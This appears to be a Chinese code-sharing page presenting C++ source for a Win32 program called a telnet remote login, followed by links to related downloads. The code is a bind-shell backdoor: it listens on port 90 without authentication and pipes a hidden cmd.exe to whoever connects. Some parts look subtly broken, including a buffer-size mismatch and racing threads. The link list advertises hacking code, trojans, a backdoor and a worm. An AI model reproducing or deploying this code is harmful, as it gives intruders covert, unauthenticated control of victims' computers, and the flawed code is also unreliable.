`

vc++telnet远程登录

 
阅读更多

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

varB = 1;
while (true)
{
ReadFile(hReadFile,send_buff,25000,&len,NULL);

send(ClientSocket,send_buff,len,0);
}
return 0;
}

void Enter(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;

DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"//cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
{

return;
}
}
else
{
strcat(szAPP,"//command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}

分享到:
评论

相关推荐

    开启远程Windows2000主机的Telnet服务vc++

    vc++ 开启远程计算机telnet源码 用于学习 勿用于不正当途径

    开启远程主机的Telnet服务vc++

    开启远程主机的Telnet服务vc++ 很有用的c++程序

    telnet 客户端连接C++ 实现

    telnet 客户端的c++实现,socket模拟实现telnet 的远程连接。以及telnet 的模拟其他指令发送 接收。

    部分经典C程序源代码

    程序多为03年之前代码,...开启远程Windows2000主机的Telnet服务vc++ 日期还原(含源代码)(1.0) 探测Windows本机系统信息(Native API)vc++ 探测远程Windows主机NetBios信息程序vc++ 支持UDP TCP ICMP的QQ代理程序vc++

    vc++ 应用源码包_3

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    vc++ 应用源码包_1

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    VC++网络编程源码

    Telnet协议【\chap6\Telnet】 HTTP协议 【\chap6\HTTP】 (7)Modem /串口通信编程 Modem编程【\chap7\Modem】 MSCOMM控件编程【\chap7\MSCOMM】 串口通信API编程【\chap7\MySerialCom】 (8)代理服务器编程实例 ...

    VC++网络通信实例教程

    Telnet协议【\chap6\Telnet】 HTTP协议 【\chap6\HTTP】 (7)Modem /串口通信编程 Modem编程【\chap7\Modem】 MSCOMM控件编程【\chap7\MSCOMM】 串口通信API编程【\chap7\MySerialCom】 (8)代理服务器编程实例 ...

    vc++ 应用源码包_5

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    vc++ 应用源码包_2

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    vc++ 应用源码包_6

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    VC++黑客编程收集的代码

     打开远程telnet服务代码  浏览器  屏幕精灵  探测Windows主机的NetBIOS信息  获取asp代码的程序  聊天系统的列子  邮件发送代码  远程控制程序  sqlworm蠕虫  tini2后门代码  这些代码有的配...

    大量VC++通信开发实例,全部源码

    Telnet协议【\chap6\Telnet】 HTTP协议 【\chap6\HTTP】 (7)Modem /串口通信编程 Modem编程【\chap7\Modem】 MSCOMM控件编程【\chap7\MSCOMM】 串口通信API编程【\chap7\MySerialCom】 (8)代理服务器编程实例 ...

    远程打开shell实例(VC)

    这是一个用VC++6.0实现的远程控制程序实例,能够打开目标主机的shell,然后通过telnet登录,从而在该主机上执行远程shell,从而达到控制的目的,学习木马的很好的例子.

    vc++ 开发实例源码包

    清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除...清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录...

    VC++网络通信编程实用案例

    Telnet协议【\chap6\Telnet】 HTTP协议 【\chap6\HTTP】 (7)Modem /串口通信编程 Modem编程【\chap7\Modem】 MSCOMM控件编程【\chap7\MSCOMM】 串口通信API编程【\chap7\MySerialCom】 (8)代理服务器编程实例 ...

    VC黑客编程源码

    打开远程telnet服务代码  浏览器  屏幕精灵  探测Windows主机的NetBIOS信息  获取asp代码的程序  聊天系统的列子  邮件发送代码  远程控制程序  sqlworm蠕虫  tini2后门代码 "&gt;精典的VC++黑客...

    Visual_C++精彩实例详解

    本书中所有例程在Windows2000 Professonal+VC++6.0(英文企业版+SP5)下调试通过,绝大部分例程可以在Windows98/ME/2000/XP下运行,且可以 在Visual Studio.Net中自动转换为VC.NET工程。建议读者安装Microsoft ...

    Visual_C++精彩实例详解.part2.rar

    本书中所有例程在Windows2000 Professonal+VC++6.0(英文企业版+SP5)下调试通过,绝大部分例程可以在Windows98/ME/2000/XP下运行,且可以 在Visual Studio.Net中自动转换为VC.NET工程。建议读者安装Microsoft ...

Global site tag (gtag.js) - Google Analytics